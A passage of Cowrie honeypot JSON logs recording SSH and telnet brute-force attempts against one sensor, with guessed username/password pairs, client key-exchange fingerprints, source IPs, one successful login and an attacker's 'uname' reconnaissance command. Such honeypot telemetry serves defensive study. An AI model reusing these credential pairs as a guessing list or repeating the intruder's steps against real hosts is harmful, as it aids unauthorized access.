roup14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:03.360769Z","src_ip":"41.86.34.139","session":"b19d29d55b0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"as","message":"login attempt [root/as] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:04.223825Z","src_ip":"41.86.34.139","session":"b19d29d55b0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:04.252025Z","src_ip":"141.11.88.14","session":"056bf16c3b06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:05.434817Z","src_ip":"41.86.34.139","session":"b19d29d55b0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":34388,"dst_ip":"10.17.0.5","dst_port":22,"session":"b470d62b6eb3","protocol":"ssh","message":"New connection: 141.11.88.14:34388 (10.17.0.5:22) [session: b470d62b6eb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:06.818845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:06.891067Z","src_ip":"141.11.88.14","session":"b470d62b6eb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:06.988786Z","src_ip":"141.11.88.14","session":"b470d62b6eb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wangchen","password":"123456","message":"login attempt [wangchen/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:07.713622Z","src_ip":"141.11.88.14","session":"b470d62b6eb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:08.975111Z","src_ip":"141.11.88.14","session":"b470d62b6eb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":36304,"dst_ip":"10.17.0.5","dst_port":22,"session":"e523b491904e","protocol":"ssh","message":"New connection: 141.11.88.14:36304 (10.17.0.5:22) [session: e523b491904e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:12.190212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:12.391318Z","src_ip":"141.11.88.14","session":"e523b491904e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:12.395406Z","src_ip":"141.11.88.14","session":"e523b491904e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch","message":"login attempt [elasticsearch/elasticsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:14.441075Z","src_ip":"141.11.88.14","session":"e523b491904e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:15.884974Z","src_ip":"141.11.88.14","session":"e523b491904e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":22872,"dst_ip":"10.17.0.5","dst_port":22,"session":"081f27b29219","protocol":"ssh","message":"New connection: 141.11.88.14:22872 (10.17.0.5:22) [session: 081f27b29219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:19.212456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:19.338946Z","src_ip":"141.11.88.14","session":"081f27b29219","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:19.342479Z","src_ip":"141.11.88.14","session":"081f27b29219","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eduardo","password":"eduardo","message":"login attempt [eduardo/eduardo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:20.692333Z","src_ip":"141.11.88.14","session":"081f27b29219","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:21.783642Z","src_ip":"141.11.88.14","session":"081f27b29219","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":22948,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba86364f98a2","protocol":"ssh","message":"New connection: 141.11.88.14:22948 (10.17.0.5:22) [session: ba86364f98a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:25.301582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:25.307027Z","src_ip":"141.11.88.14","session":"ba86364f98a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:25.413997Z","src_ip":"141.11.88.14","session":"ba86364f98a2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123456","message":"login attempt [steam/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:26.119870Z","src_ip":"141.11.88.14","session":"ba86364f98a2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:26.577339Z","src_ip":"141.11.88.14","session":"ba86364f98a2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:26.580521Z","src_ip":"141.11.88.14","session":"ba86364f98a2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:26.734025Z","src_ip":"141.11.88.14","session":"ba86364f98a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:26.738772Z","src_ip":"141.11.88.14","session":"ba86364f98a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.50.236","src_port":58994,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e7bbc4d696f","protocol":"ssh","message":"New connection: 161.132.50.236:58994 (159.203.135.109:22) [session: 3e7bbc4d696f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:27.067068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:27.070878Z","src_ip":"161.132.50.236","session":"3e7bbc4d696f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:27.158829Z","src_ip":"161.132.50.236","session":"3e7bbc4d696f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34954,"dst_ip":"159.203.135.109","dst_port":23,"session":"338d9780effe","protocol":"telnet","message":"New connection: 128.199.8.54:34954 (159.203.135.109:23) [session: 338d9780effe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:27.391429Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty111","message":"login attempt [root/qwerty111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:27.547272Z","src_ip":"161.132.50.236","session":"3e7bbc4d696f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:28.643084Z","src_ip":"161.132.50.236","session":"3e7bbc4d696f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":59116,"dst_ip":"10.17.0.5","dst_port":22,"session":"40a14b8ed81d","protocol":"ssh","message":"New connection: 141.11.88.14:59116 (10.17.0.5:22) [session: 40a14b8ed81d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:31.365553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:31.408849Z","src_ip":"141.11.88.14","session":"40a14b8ed81d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:31.517286Z","src_ip":"141.11.88.14","session":"40a14b8ed81d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a1","password":"a1","message":"login attempt [a1/a1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:32.198261Z","src_ip":"141.11.88.14","session":"40a14b8ed81d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:33.289811Z","src_ip":"141.11.88.14","session":"40a14b8ed81d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":50180,"dst_ip":"10.17.0.5","dst_port":22,"session":"5061bac4988d","protocol":"ssh","message":"New connection: 141.11.88.14:50180 (10.17.0.5:22) [session: 5061bac4988d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:37.961751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:37.998468Z","src_ip":"141.11.88.14","session":"5061bac4988d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:38.054071Z","src_ip":"141.11.88.14","session":"5061bac4988d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Welcome@1234","message":"login attempt [ubuntu/Welcome@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:38.392482Z","src_ip":"141.11.88.14","session":"5061bac4988d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:39.480515Z","src_ip":"141.11.88.14","session":"5061bac4988d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":50216,"dst_ip":"10.17.0.5","dst_port":22,"session":"d06149ce732b","protocol":"ssh","message":"New connection: 141.11.88.14:50216 (10.17.0.5:22) [session: d06149ce732b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:44.331450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:58:44.407305Z","src_ip":"141.11.88.14","session":"d06149ce732b","protocol":"ssh"}
